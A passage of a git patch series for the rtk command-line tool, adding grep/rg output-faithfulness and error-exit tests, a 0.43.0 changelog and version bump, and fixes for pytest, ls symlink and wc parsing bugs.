{}\n}\n", + ); + assert_eq_grep_n(&[ + "private function delete\\|try\\|catch\\|finally\\|delete()", + &f, + ]); + assert_eq_grep_n(&["init", &f]); // ClassRegistry::init must stay one intact line +} + +#[test] +fn colon_in_filename_matches_grep_n() { + let d = tempfile::tempdir().unwrap(); + let f1 = write(d.path(), "weird:name.txt", "hit\n"); + let f2 = write(d.path(), "other.txt", "hit\n"); + assert_eq_grep_n(&["hit", &f1, &f2]); // colon in a path must not fool the parser +} + +#[test] +fn case_insensitive_and_invert_match_grep_n() { + let d = tempfile::tempdir().unwrap(); + let f = write(d.path(), "i.txt", "Apple\nbanana\nAPPLE\n"); + assert_eq_grep_n(&["-i", "apple", &f]); + assert_eq_grep_n(&["-v", "apple", &f]); +} + +#[test] +fn piped_stdin_matches_grep_n() { + let input = "apple\nzebra\napple pie\n"; + let feed = |cmd: &mut Command| { + let mut c = cmd + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn() + .expect("spawn"); + c.stdin.take().unwrap().write_all(input.as_bytes()).unwrap(); + String::from_utf8_lossy(&c.wait_with_output().unwrap().stdout).into_owned() + }; + let rtk = feed(Command::new(env!("CARGO_BIN_EXE_rtk")).args(["grep", "apple"])); + let grep = feed(Command::new("grep").args(["-n", "apple"])); + assert_eq!(rtk, grep, "piped stdin must equal grep -n"); +} diff --git a/tests/search_faithful_test.rs b/tests/search_faithful_test.rs index 537311979c..3fdfddc794 100644 --- a/tests/search_faithful_test.rs +++ b/tests/search_faithful_test.rs @@ -3,12 +3,35 @@ //! with its own regex dialect and ignore semantics. rtk filters output noise only; //! it never substitutes one engine for the other (the bug this PR removes). -use std::process::Command; +use std::io::Write; +use std::process::{Command, Stdio}; fn rtk() -> Command { Command::new(env!("CARGO_BIN_EXE_rtk")) } +/// Run rtk with `input` fed on stdin; returns (stdout, exit_code). +fn rtk_stdin(input: &str, args: &[&str]) -> (String, Option) { + let mut child = rtk() + .args(args) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn() + .expect("spawn rtk"); + child + .stdin + .take() + .expect("stdin") + .write_all(input.as_bytes()) + .expect("write stdin"); + let out = child.wait_with_output().expect("wait"); + ( + String::from_utf8_lossy(&out.stdout).into_owned(), + out.status.code(), + ) +} + fn rg_available() -> bool { Command::new("rg") .arg("--version") @@ -117,7 +140,7 @@ fn bulky_rg_yields_token_savings() { } let filler: String = (0..50).map(|i| format!("word{i} ")).collect(); let mut content = String::new(); - for i in 0..20 { + for i in 0..60 { content.push_str(&format!("MATCH line {i} {filler}\n")); } let (_dir, path) = write_temp(&content); @@ -200,3 +223,107 @@ fn rg_glob_flag_filters_the_file_set() { "rg -g '*.rs' must exclude files outside the glob:\n{stdout}" ); } + +// --- piped stdin: read the pipe, never inject a path --- + +#[test] +fn grep_reads_piped_stdin() { + let (out, code) = rtk_stdin("alpha\nmatch me here\nomega\n", &["grep", "match"]); + assert_eq!( + code, + Some(0), + "stdin match must exit 0, got {code:?}:\n{out}" + ); + assert!( + out.contains("match me here"), + "grep must read stdin and emit the match:\n{out}" + ); + assert!( + !out.contains("Is a directory"), + "RTK must not inject '.' and break a stdin pipe:\n{out}" + ); +} + +#[test] +fn rg_reads_piped_stdin_without_flooding_cwd() { + if !rg_available() { + return; + } + // `fn` matches thousands of repo lines; reading stdin must yield only the pipe. + let (out, code) = rtk_stdin("fn stdin_only_line\n", &["rg", "fn"]); + assert_eq!( + code, + Some(0), + "stdin match must exit 0, got {code:?}:\n{out}" + ); + assert!( + out.contains("stdin_only_line"), + "rg must read stdin and emit the match:\n{out}" + ); + assert!( + !out.contains(".rs:") && !out.contains("src/"), + "rg must read stdin, not flood the working tree:\n{out}" + ); +} + +#[test] +fn grep_counts_piped_stdin_via_passthrough() { + // `-c` routes to the passthrough path; it must still read the pipe, not null stdin. + let (out, code) = rtk_stdin("hit\nmiss\nhit\n", &["grep", "-c", "hit"]); + assert_eq!( + code, + Some(0), + "stdin count must exit 0, got {code:?}:\n{out}" + ); + assert_eq!( + out.trim(), + "2", + "grep -c must count matches from stdin:\n{out}" + ); +} + +// --- pattern-less commands run instead of being blocked --- + +#[test] +fn rg_type_list_passes_through() { + if !rg_available() { + return; + } + let out = rtk().args(["rg", "--type-list"]).output().expect("rtk rg"); + let stdout = String::from_utf8_lossy(&out.stdout); + let stderr = String::from_utf8_lossy(&out.stderr); + assert_eq!(out.status.code(), Some(0), "--type-list must exit 0"); + assert!( + stdout.lines().count() > 10, + "--type-list must produce the real type list:\n{stdout}" + ); + assert!( + !stdout.contains("pattern required") && !stderr.contains("pattern required"), + "valid pattern-less command must not be blocked:\n{stdout}{stderr}" + ); + assert!( + !stderr.contains("rtk grep:"), + "an rg command must never be labelled 'rtk grep:':\n{stderr}" + ); +} + +#[test] +fn rg_files_lists_the_given_dir() { + if !rg_available() { + return; + } + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write(dir.path().join("only_here.txt"), "x\n").expect("write"); + let path = dir.path().to_str().unwrap(); + + let out = rtk() + .args(["rg", "--files", path]) + .output() + .expect("rtk rg"); + let stdout = String::from_utf8_lossy(&out.stdout); + assert_eq!(out.status.code(), Some(0), "--files must exit 0"); + assert!( + stdout.contains("only_here.txt"), + "--files must list the given dir, not the cwd:\n{stdout}" + ); +} From c66e5103729251022effe928a2e3e531093df35d Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 26 Jun 2026 17:34:26 +0200 Subject: [PATCH 253/257] test(grep): cover #1436 comment-reported cases - leading ^ anchor must stay scoped to the path (tenequm) - line ending in `:` keeps full content (BTCAlchemist) - rg surfaces a regex parse error as exit 2, not a silent 0 (jhagberg) --- tests/grep_faithful_format_test.rs | 17 +++++++++++++++++ tests/search_faithful_test.rs | 19 +++++++++++++++++++ 2 files changed, 36 insertions(+) diff --git a/tests/grep_faithful_format_test.rs b/tests/grep_faithful_format_test.rs index 4a9dd502b7..5ce9e3a7cd 100644 --- a/tests/grep_faithful_format_test.rs +++ b/tests/grep_faithful_format_test.rs @@ -112,6 +112,23 @@ fn issue_1436_colons_and_literal_parens() { assert_eq_grep_n(&["init", &f]); // ClassRegistry::init must stay one intact line } +// #1436 (comments): a leading `^` anchor must stay scoped to the given file +// (tenequm), and a line ending in `:` (Python `if x:`) must keep full content +// (BTCAlchemist). +#[test] +fn issue_1436_anchor_scope_and_trailing_colon() { + let d = tempfile::tempdir().unwrap(); + let f = write(d.path(), "code.rs", "pub fn a\nprivate b\npub fn c\n"); + let py = write( + d.path(), + "t.py", + "x = 1\nif crypto >= MAX_CRYPTO:\nclass Foo:\n", + ); + assert_eq_grep_n(&["^pub", &f]); // anchored pattern must not escape the path + assert_eq_grep_n(&["MAX_CRYPTO", &py]); // trailing-colon line kept intact + assert_eq_grep_n(&["class", &py]); +} + #[test] fn colon_in_filename_matches_grep_n() { let d = tempfile::tempdir().unwrap(); diff --git a/tests/search_faithful_test.rs b/tests/search_faithful_test.rs index 3fdfddc794..e821d39eba 100644 --- a/tests/search_faithful_test.rs +++ b/tests/search_faithful_test.rs @@ -327,3 +327,22 @@ fn rg_files_lists_the_given_dir() { "--files must list the given dir, not the cwd:\n{stdout}" ); } + +// #1436 (jhagberg): a pattern rg rejects must surface rg's error (exit 2), never +// be swallowed into a silent "0 matches" (exit 1) that reads as a clean no-match. +#[test] +fn rg_surfaces_regex_error_not_silent_zero() { + if !rg_available() { + return; + } + let (_dir, path) = write_temp("GET /objects/{path}\nfilePath: x\n"); + let out = rtk() + .args(["rg", "objects|{path}", path.to_str().unwrap()]) + .output() + .expect("rtk rg"); + assert_eq!( + out.status.code(), + Some(2), + "an rg regex parse error must surface as exit 2, not a silent 0/1" + ); +} From 059131cd56d77699756fb9fa195b41217dbd2bcb Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 26 Jun 2026 17:44:29 +0200 Subject: [PATCH 254/257] test(grep): rename compress suite to search_compress, cover binary skip - grep_compress_test.rs -> search_compress_test.rs (tests the shared grep/rg filter) - binary match skipped as noise by default, -a opts back in - fix parse_flags doc: -I is an intentional binary skip, not a no-op --- src/cmds/system/search.rs | 5 ++- ...mpress_test.rs => search_compress_test.rs} | 33 +++++++++++++++++-- 2 files changed, 33 insertions(+), 5 deletions(-) rename tests/{grep_compress_test.rs => search_compress_test.rs} (88%) diff --git a/src/cmds/system/search.rs b/src/cmds/system/search.rs index eab1162b91..4409c4f7a9 100644 --- a/src/cmds/system/search.rs +++ b/src/cmds/system/search.rs @@ -279,9 +279,8 @@ impl Engine { self.bin() } - /// Parse aids only: line numbers + always-shown filename, NUL-separated so the - /// regroup is unambiguous (#1436), binary noise skipped. None of these change - /// which lines match. + /// `-n -H --null` are parse aids (NUL keeps the regroup unambiguous, #1436); + /// `-I` skips binary noise (-a overrides). fn parse_flags(self) -> &'static [&'static str] { match self { Engine::Grep => &["-n", "-H", "-I", "--null"], diff --git a/tests/grep_compress_test.rs b/tests/search_compress_test.rs similarity index 88% rename from tests/grep_compress_test.rs rename to tests/search_compress_test.rs index 640e3cc63b..1a36c08399 100644 --- a/tests/grep_compress_test.rs +++ b/tests/search_compress_test.rs @@ -1,6 +1,7 @@ #![cfg(unix)] -//! Integration tests for the GROUP path with context flags (-A/-B/-C) and the -//! safety-net passthrough for flags that break the NUL-based reparse. +//! Integration tests for the shared grep/rg compression filter: the GROUP path +//! with context flags (-A/-B/-C) and the safety-net passthrough for flags (some +//! grep-only like -I, some rg-only like --heading/-p) that break the NUL reparse. use std::process::Command; @@ -347,3 +348,31 @@ fn bundled_files_with_matches_cluster_lists_files() { "-rln must not list non-matching files:\n{stdout}" ); } + +// A match inside a binary file is noise (grep prints only a "binary file matches" +// notice); skip it by default, but `-a` lets the agent opt back into the content. +#[test] +fn binary_match_is_skipped_unless_text_requested() { + let dir = tempfile::tempdir().expect("tempdir"); + let p = dir.path().join("blob.bin"); + std::fs::write(&p, b"SECRET\x00\x01binary\xff\xfe").expect("write"); + let path = p.to_str().unwrap(); + + let out = rtk().args(["grep", "SECRET", path]).output().expect("rtk"); + assert_eq!( + out.status.code(), + Some(1), + "binary match must be skipped as noise by default" + ); + assert!(out.stdout.is_empty(), "no binary content by default"); + + let out = rtk() + .args(["grep", "-a", "SECRET", path]) + .output() + .expect("rtk -a"); + assert_eq!(out.status.code(), Some(0), "-a must surface the match"); + assert!( + String::from_utf8_lossy(&out.stdout).contains("SECRET"), + "-a must show the binary content" + ); +} From 05f3c54886e6d39476b1e65275c599fe4dc470a3 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 26 Jun 2026 19:43:51 +0200 Subject: [PATCH 255/257] fix(grep): surface the engine error and exit code, add nothing - drop the synthetic "search failed with exit code N" line (an rtk addition) - surface the engine stderr verbatim in every path, incl. partial match + error - remove the now-vestigial is_grep_error_exit (the "0 matches" it guarded is gone) - error/exit matrix tests vs real grep/rg (#2465: an error is never a silent no-match) --- src/cmds/system/search.rs | 48 ++++----------- tests/search_error_test.rs | 123 +++++++++++++++++++++++++++++++++++++ 2 files changed, 134 insertions(+), 37 deletions(-) create mode 100644 tests/search_error_test.rs diff --git a/src/cmds/system/search.rs b/src/cmds/system/search.rs index 4409c4f7a9..ffdd93c166 100644 --- a/src/cmds/system/search.rs +++ b/src/cmds/system/search.rs @@ -326,7 +326,7 @@ fn passthrough>( print!("{}", strip_ansi(&result.stdout)); if !result.stderr.is_empty() { - eprint!("{}", result.stderr.trim()); + eprint!("{}", result.stderr); } timer.track_passthrough(real_cmd, &format!("rtk {} (passthrough)", real_cmd)); @@ -399,28 +399,21 @@ pub fn run( let exit_code = result.exit_code; let raw_output = result.stdout.clone(); + // Unparseable shape re-runs verbatim below (with its own stderr), so handle it + // before surfacing this run's stderr (#2333). + if unparsed_signal(&raw_output) > 0 { + return passthrough(&timer, engine, &args, &real_cmd); + } + + if !result.stderr.is_empty() { + eprint!("{}", result.stderr); + } + if result.stdout.trim().is_empty() { - if is_grep_error_exit(exit_code) { - if !result.stderr.trim().is_empty() { - eprintln!("{}", result.stderr.trim()); - } - let msg = format!("search failed with exit code {}", exit_code); - timer.track(&real_cmd, &rtk_label, &raw_output, &msg); - eprintln!("{}", msg); - return Ok(exit_code); - } - // grep/rg print nothing on a clean no-match; a "0 matches" line would - // exceed the real command's output, so emit nothing (never-worse). timer.track(&real_cmd, &rtk_label, &raw_output, ""); return Ok(exit_code); } - // Safety net: unparseable shape → passthrough verbatim, never silently drop (#2333). - let signal = unparsed_signal(&raw_output); - if signal > 0 { - return passthrough(&timer, engine, &args, &real_cmd); - } - let context_re = if context_only { Regex::new(&format!( "(?i).{{0,20}}{}.*", @@ -697,29 +690,10 @@ fn compact_path(path: &str) -> String { ) } -/// grep/rg convention: exit 1 = no match found (normal), exit >= 2 = real -/// error (bad regex, tool crash, missing binary). An error must surface to the -/// user, never be silently reported as a false "0 matches". -fn is_grep_error_exit(exit_code: i32) -> bool { - exit_code >= 2 -} - #[cfg(test)] mod tests { use super::*; - #[test] - fn test_is_grep_error_exit() { - // exit 0 = matches, exit 1 = no match: both normal, not errors. - assert!(!is_grep_error_exit(0)); - assert!(!is_grep_error_exit(1)); - // exit >= 2 = real error (bad regex, tool crash, missing binary). - // Must surface, never become a false "0 matches". - assert!(is_grep_error_exit(2)); - assert!(is_grep_error_exit(3)); - assert!(is_grep_error_exit(127)); - } - #[test] fn test_clean_line() { let line = " const result = someFunction();"; diff --git a/tests/search_error_test.rs b/tests/search_error_test.rs new file mode 100644 index 0000000000..b2fdedf58d --- /dev/null +++ b/tests/search_error_test.rs @@ -0,0 +1,123 @@ +#![cfg(unix)] +//! Error/exit faithfulness: rtk surfaces the engine's own stderr and propagates +//! its exit code, adding nothing (no synthetic "search failed" line). An engine +//! error (exit >=2) must never look like a silent no-match (#2465 / #1436). + +use std::process::Command; + +fn rtk(args: &[&str]) -> std::process::Output { + Command::new(env!("CARGO_BIN_EXE_rtk")) + .args(args) + .output() + .expect("rtk") +} + +fn grep_exit(args: &[&str]) -> Option { + Command::new("grep") + .args(args) + .output() + .expect("grep") + .status + .code() +} + +fn rg_available() -> bool { + Command::new("rg") + .arg("--version") + .output() + .map(|o| o.status.success()) + .unwrap_or(false) +} + +fn write_temp(content: &str) -> (tempfile::TempDir, String) { + let d = tempfile::tempdir().expect("tempdir"); + let p = d.path().join("ok.txt"); + std::fs::write(&p, content).expect("write"); + let s = p.to_str().unwrap().to_string(); + (d, s) +} + +#[test] +fn file_not_found_propagates_exit_and_surfaces_error() { + let d = tempfile::tempdir().unwrap(); + let missing = d.path().join("nope.txt"); + let m = missing.to_str().unwrap(); + let out = rtk(&["grep", "fn", m]); + assert_eq!( + out.status.code(), + grep_exit(&["fn", m]), + "exit must match grep" + ); + let stderr = String::from_utf8_lossy(&out.stderr); + assert!( + stderr.contains("No such file"), + "the engine's error must be surfaced:\n{stderr}" + ); + assert!( + !stderr.contains("search failed"), + "no synthetic line:\n{stderr}" + ); +} + +#[test] +fn bad_regex_surfaces_error_never_silent_no_match() { + let (_d, f) = write_temp("fn alpha\n"); + let out = rtk(&["grep", "[", &f]); + assert_eq!( + out.status.code(), + Some(2), + "a bad regex must propagate exit 2, not a silent exit-1 no-match" + ); + let stderr = String::from_utf8_lossy(&out.stderr); + assert!(!stderr.is_empty(), "the engine error must surface"); + assert!( + !stderr.contains("search failed"), + "nothing added:\n{stderr}" + ); +} + +#[test] +fn partial_match_with_error_surfaces_both() { + let (_d, f) = write_temp("fn alpha\nfn beta\n"); + let d2 = tempfile::tempdir().unwrap(); + let missing = d2.path().join("nope.txt"); + let out = rtk(&["grep", "fn", &f, missing.to_str().unwrap()]); + assert_eq!(out.status.code(), Some(2), "the error exit must propagate"); + assert!( + String::from_utf8_lossy(&out.stderr).contains("No such file"), + "the file error must surface alongside the matches" + ); + assert!( + !out.stdout.is_empty(), + "the matches from the readable file must still be shown" + ); +} + +#[test] +fn no_match_stays_exit_1_and_empty() { + let (_d, f) = write_temp("fn alpha\n"); + let out = rtk(&["grep", "zzzz_no_match", &f]); + assert_eq!(out.status.code(), Some(1), "no-match is exit 1"); + assert!( + out.stdout.is_empty() && out.stderr.is_empty(), + "no-match emits nothing" + ); +} + +#[test] +fn rg_bad_regex_surfaces_error_exit_2() { + if !rg_available() { + return; + } + let (_d, f) = write_temp("GET /objects/{path}\n"); + let out = rtk(&["rg", "a|{path}", &f]); + assert_eq!( + out.status.code(), + Some(2), + "rg's regex parse error must propagate exit 2" + ); + assert!( + !String::from_utf8_lossy(&out.stderr).contains("search failed"), + "nothing added" + ); +} From a52a2b2f0132390bccac30b1363f2a54c3ec9516 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Sun, 28 Jun 2026 08:40:47 +0000 Subject: [PATCH 256/257] chore(master): release 0.43.0 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 49 +++++++++++++++++++++++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 52 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 3b9f270ecf..2ff8218f38 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.42.4" + ".": "0.43.0" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 2933768b44..8e9aab16cd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,55 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.43.0](https://github.com/rtk-ai/rtk/compare/v0.42.4...v0.43.0) (2026-06-28) + + +### Features + +* **grep:** sort content alphabetically ([307b557](https://github.com/rtk-ai/rtk/commit/307b5573838d24cc59191c12422ef1f216b9a087)) +* **oc:** add Openshift CLI support with shared k8s filtering ([39cbb96](https://github.com/rtk-ai/rtk/commit/39cbb968970d705d2080fc4062397f5b8650b595)) +* **oc:** add Openshift CLI support with shared k8s filtering ([c7f493b](https://github.com/rtk-ai/rtk/commit/c7f493b0cd0fbe9ed1d2da8ea66f86f2ca26cd01)) +* **pulumi:** add CLI filters for preview/up/destroy/refresh/stack ([ced70c6](https://github.com/rtk-ai/rtk/commit/ced70c6f0dcccd85365dcc78ca58f6b330d799e8)) + + +### Bug Fixes + +* **aws:** guard the s3 ls and s3 sync/cp text emits ([25a095e](https://github.com/rtk-ai/rtk/commit/25a095e90d7f8320d80577177f7623b13fa1bbad)) +* **core:** never-worse output guard ([af81b08](https://github.com/rtk-ai/rtk/commit/af81b08175af063c8b631979959d80c9007d089f)) +* **core:** never-worse output guard so RTK never exceeds the raw command ([861a46d](https://github.com/rtk-ai/rtk/commit/861a46dee57f50216862ac83b0ee57974f383203)) +* **diff:** report modified-only diffs and follow diff exit convention ([3a73bcd](https://github.com/rtk-ai/rtk/commit/3a73bcdffc553c0b1b81ea423b98b221468a7289)) +* **docker:** make the agent's command authoritative for the guard baseline ([b52db52](https://github.com/rtk-ai/rtk/commit/b52db52da065f65f9838e7fd12c496b7d28d06e8)) +* **docker:** report 0 containers/images instead of empty output ([3d4189c](https://github.com/rtk-ai/rtk/commit/3d4189cc6304a8eefc7ab94388b268054b94a634)) +* **dotnet:** keep raw fallback when parsed failures incomplete ([5e7eab5](https://github.com/rtk-ai/rtk/commit/5e7eab5846cfe2de1f0d0c2a7d6c38c8de6c65e5)) +* **dotnet:** stop duplicating failures on failing test runs ([2d9dc1a](https://github.com/rtk-ai/rtk/commit/2d9dc1ab9e0d25bf7fa6b8696f8909a561dd267f)), closes [#2501](https://github.com/rtk-ai/rtk/issues/2501) +* **dotnet:** stop duplicating failures on failing test runs ([#2501](https://github.com/rtk-ai/rtk/issues/2501)) ([6946bf9](https://github.com/rtk-ai/rtk/commit/6946bf9562a26c7248d64d76564619a7d8dd4dd6)) +* **env:** clean up feature from secrets rewrite ([223dda2](https://github.com/rtk-ai/rtk/commit/223dda2996c061e93605d996a14d454a56198ec4)) +* **git:** propagate exit code on git status failure in compact path ([d86f007](https://github.com/rtk-ai/rtk/commit/d86f0073ec294d75a705c49c95061bd2c09e2b18)) +* **git:** propagate exit code on git status failure in compact path ([756c2a4](https://github.com/rtk-ai/rtk/commit/756c2a4ce84424a17965810392b21c7320b12678)) +* **git:** propagate exit code on git worktree list failure ([9a52647](https://github.com/rtk-ai/rtk/commit/9a52647f6529120723a04e5323f2b38be5b22655)) +* **git:** propagate exit code on git worktree list failure ([ebaaf8d](https://github.com/rtk-ai/rtk/commit/ebaaf8db586a1a31904a122cd815242e183bd536)) +* **git:** propagate exit code when commit fails instead of reporting ok ([2927248](https://github.com/rtk-ai/rtk/commit/29272484de23b1cd1144d97ca6c334da1ee81a61)) +* **git:** propagate exit code when commit fails instead of reporting ok ([e36dd8c](https://github.com/rtk-ai/rtk/commit/e36dd8cbe7cf5f37b6c67115d6d53eccc90c94ab)), closes [#2494](https://github.com/rtk-ai/rtk/issues/2494) +* **grep:** correctly handle all flag shapes and never exceed raw output ([ee9e2f8](https://github.com/rtk-ai/rtk/commit/ee9e2f8a2ad9618495dad0f10763f4891ae47be8)) +* **grep:** correctly handle all flag shapes and never exceed raw output ([0adfae6](https://github.com/rtk-ai/rtk/commit/0adfae6cf61a90a98a007a6ef4a8745ab6f42a31)) +* **grep:** left-to-right cluster scan, long value flags, format passthrough ([b7d93b5](https://github.com/rtk-ai/rtk/commit/b7d93b509e67eee46de3bb518e7ca71429188a4b)) +* **grep:** match real grep output and read piped stdin ([37ee6cf](https://github.com/rtk-ai/rtk/commit/37ee6cf6fa7ecb1b511aafd0b111b68ba1d5c945)) +* **grep:** restore strip_r as explicit testable helper + pre-existing clippy fix ([8d29f75](https://github.com/rtk-ai/rtk/commit/8d29f75833c9afe5eebdb5d6d1ce1743503421e7)) +* **grep:** run the invoked engine instead of substituting rg for grep ([eafadce](https://github.com/rtk-ai/rtk/commit/eafadcee0042411ab9d28339d865a626567a72b0)) +* **grep:** stabilize argument parsing — trailing_var_arg, -v invert-match, --version passthrough, safe rg invocation ([d8c550e](https://github.com/rtk-ai/rtk/commit/d8c550eefba41e112bd174d58844a803db6e432f)) +* **grep:** surface error on exit code >= 2 instead of false "0 matches" ([d727db3](https://github.com/rtk-ai/rtk/commit/d727db3fa1f5b90d94cd8e1b893b6b10418b42bd)), closes [#2461](https://github.com/rtk-ai/rtk/issues/2461) +* **grep:** surface the engine error and exit code, add nothing ([05f3c54](https://github.com/rtk-ai/rtk/commit/05f3c54886e6d39476b1e65275c599fe4dc470a3)) +* **grep:** use portable --null in system grep fallback (BSD/macOS) ([abe7d42](https://github.com/rtk-ai/rtk/commit/abe7d4210e0fe5c0b9322ec5210c6a6aadaa3db5)) +* **hook:** rewrite pytest under uv run ([c8722bd](https://github.com/rtk-ai/rtk/commit/c8722bd55e4441ac377b9c141c5f445e62fe9ecc)) +* **hook:** treat uv run as a transparent prefix ([34441dd](https://github.com/rtk-ai/rtk/commit/34441dd4648d5f73bf40988de0c9f2c839b3e988)) +* **pipe:** apply the never-worse guard ([9d9ad7c](https://github.com/rtk-ai/rtk/commit/9d9ad7cb177a1da22c4395dc6716fdf5e640a6f3)) +* **pulumi:** keep Owner and version in pulumi-stack filter ([5cfe4d5](https://github.com/rtk-ai/rtk/commit/5cfe4d5f87cecc7996cdbd837b7bf3dab2518a4e)) +* **pulumi:** keep stack identity in pulumi-stack filter ([1f6e36b](https://github.com/rtk-ai/rtk/commit/1f6e36b27ef4fd2237465c97a8e73fbe4e990f61)) +* **read:** make guard baseline faithful to cat/cat -n output ([9a2ad90](https://github.com/rtk-ai/rtk/commit/9a2ad90360b39ba8786f6056188ee9a939a9db28)) +* **tests:** resync & list oc as passthrough for test ([444f1c0](https://github.com/rtk-ai/rtk/commit/444f1c09082f8a9a843499980f89b8c0682ddfef)) +* **vitest:** add passthrough recovery hint ([f9469d1](https://github.com/rtk-ai/rtk/commit/f9469d12cfb48a6dda2b8c0578a7d5696804ae5f)) +* **vitest:** preserve explicit reporters ([e3f60e9](https://github.com/rtk-ai/rtk/commit/e3f60e982261cd4a488a9f4593c40b13738f5f35)) + ## [0.42.4](https://github.com/rtk-ai/rtk/compare/v0.42.3...v0.42.4) (2026-06-12) diff --git a/Cargo.lock b/Cargo.lock index b7380ea65e..e38c6cfcc1 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.42.4" +version = "0.43.0" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 8ff5614d17..a881be900f 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.42.4" +version = "0.43.0" edition = "2021" rust-version = "1.91" authors = ["Patrick Szymkowiak"] From 40b3b0c37ea68f37cffdc18960baad579c127a4d Mon Sep 17 00:00:00 2001 From: Repin Agent Date: Fri, 24 Jul 2026 18:29:58 -0600 Subject: [PATCH 257/257] fix: address codex pre-merge review findings on the v0.43.0 sync MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three confirmed defects, each reproduced against the built binary before and after the fix. One is a regression this merge introduced; two are latent bugs in fork carry fixes that this merge re-applied. 1. pytest: xfail/xpass block emitted twice (MERGE REGRESSION) The rendering block was duplicated verbatim during conflict resolution. Proof it came from the merge: both parents contain exactly one copy (5a7880d=1, 5787829=1), the merge commit contained two. Any pytest run with an XFAIL/XPASS summary printed the heading and every outcome twice. The existing test used `.contains`, which cannot see a duplicate, so 2362 green tests and a green CI both missed it. Now asserted with exact match counts. 2. ls: symlinks pointing at `.` or `..` were silently deleted `is_dotdir` compared the last whitespace token, but `ls -l` renders a symlink as ` -> `, so for `current -> .` the last token is the target. Both `current -> .` and `parent -> ..` vanished from `rtk ls -la` output. The arrow suffix is now stripped before the comparison. Pre-existing in 0.42.1, not introduced here. 3. wc: single-file mixed mode swallowed a numeric leading filename token `WcMode::Mixed` discarded how many count columns were requested and peeled up to 4, so `wc -lw "123 report.txt"` (raw `2 2 123 report.txt`) printed `2 2 123` instead of `2 2`. Mixed now carries the exact flag count. Pre-existing in 0.42.1, not introduced here. Regression tests added for all three, including the exact reproductions. Reported but NOT fixed here, with reasons (see PR body): - read.rs `-n` renumbers relative to filtered content, so a tail window under `--level minimal` mislabels lines. Confirmed real and confirmed pre-existing in 0.42.1. A correct fix needs a line map threaded through the filter pipeline — a design change that does not belong in a sync PR. - search.rs grep-fidelity gaps (`--`, `--regexp=`, `-f`) are upstream v0.43.0 defects, not carry-diff additions. Tests: fmt clean, clippy clean, 2367 passed / 0 failed (was 2362, +5). --- src/cmds/python/pytest_cmd.rs | 31 +++++++++--------- src/cmds/system/ls.rs | 46 +++++++++++++++++++++++++- src/cmds/system/wc_cmd.rs | 61 ++++++++++++++++++++++++++--------- 3 files changed, 106 insertions(+), 32 deletions(-) diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index 27b5c5b3bc..147a85c1dd 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -219,22 +219,6 @@ fn build_pytest_summary( } } - // Surface xfail/xpass entries (with their reasons) — XPASS in particular - // signals that something expected-to-fail now passes. - if !xfail_lines.is_empty() { - result.push_str("\nExpected-failure outcomes:\n"); - for line in xfail_lines.iter().take(MAX_XFAIL) { - result.push_str(&format!(" {}\n", truncate(line, 120))); - } - if xfail_lines.len() > MAX_XFAIL { - result.push_str(&format!(" … +{} more\n", xfail_lines.len() - MAX_XFAIL)); - let all_xfail = xfail_lines.join("\n"); - if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_xfail, "pytest-xfail", MAX_XFAIL + 1) { - result.push_str(&format!(" {}\n", hint)); - } - } - } - if failures.is_empty() { return result.trim().to_string(); } @@ -483,6 +467,21 @@ XPASS test_math.py::test_unexpected_pass - this should fail but currently passes assert!(result.contains("XPASS"), "got: {result}"); assert!(result.contains("float precision"), "got: {result}"); assert!(result.contains("test_division_by_zero"), "got: {result}"); + + // The xfail/xpass block must be emitted exactly once. A duplicated + // rendering block survived the v0.43.0 merge (both parents had one copy, + // the merge produced two) and printed every outcome twice; the existing + // `.contains` assertions could not see it. + assert_eq!( + result.matches("Expected-failure outcomes:").count(), + 1, + "xfail section emitted more than once: {result}" + ); + assert_eq!( + result.matches("test_division_by_zero").count(), + 1, + "xfail entries duplicated: {result}" + ); } #[test] diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index 78ca7389c1..5431bf2106 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -192,8 +192,14 @@ fn parse_ls_line(line: &str) -> Option<(char, String, u64, String)> { /// match (and silently drop) real entries whose names end in a dot, e.g. a file /// `report.` or a directory `build.`. The `.`/`..` names never contain spaces, /// so the last token is a safe, precise anchor. (murphytek #13) +/// +/// For a symlink, `ls -l` prints ` -> `, so the final token is the +/// *target*, not the entry name. A link pointing at `.` or `..` (`current -> .`) +/// would otherwise be mistaken for the self/parent entry and silently dropped, +/// so the arrow suffix is removed before the comparison. fn is_dotdir(line: &str) -> bool { - match line.split_whitespace().next_back() { + let name_part = line.split(" -> ").next().unwrap_or(line); + match name_part.split_whitespace().next_back() { Some(name) => name == "." || name == "..", None => false, } @@ -769,4 +775,42 @@ mod tests { assert!(!is_dotdir("-rw-r--r-- 1 user staff 12 Jan 1 12:00 report.")); assert!(!is_dotdir("drwxr-xr-x 2 user staff 64 Jan 1 12:00 